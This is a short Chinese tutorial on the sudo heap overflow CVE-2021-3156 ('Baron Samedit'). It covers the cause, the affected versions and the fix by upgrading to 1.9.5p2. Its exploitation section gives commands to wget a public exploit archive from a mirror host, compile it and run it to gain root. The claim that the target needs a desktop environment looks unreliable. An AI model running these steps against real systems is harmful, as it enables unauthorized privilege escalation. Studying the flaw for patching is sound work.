💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、豆包、星火、月之暗面及文生图、文生视频 广告
[TOC] ## 什么是Sudo **sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具**,如halt、reboot、su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性,sudo不是对shell的一个代替,它是面向每个命令的 ## 漏洞原理 **本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”)**,在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。 当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。 ## 影响范围 sudo 1.8.2 - 1.8.31p2 sudo 1.9.0 - 1.9.5p1 ## 条件 **需要目标服务器有桌面环境**,所以较为鸡肋的漏洞 ## 利用 ~~~ 在终端输入 sudo --version 查看sudo版本,使用whoami查看当前用户 下载exp • 下载:wget https://hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip 解压exp • unzip main.zip 编译exp make 提权 ./sudo-hax-me-a-sandwich ubuntu ~~~ ## 修复建议 目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。 下载地址:[https://www.sudo.ws/download.html](https://link.zhihu.com/?target=https%3A//www.sudo.ws/download.html)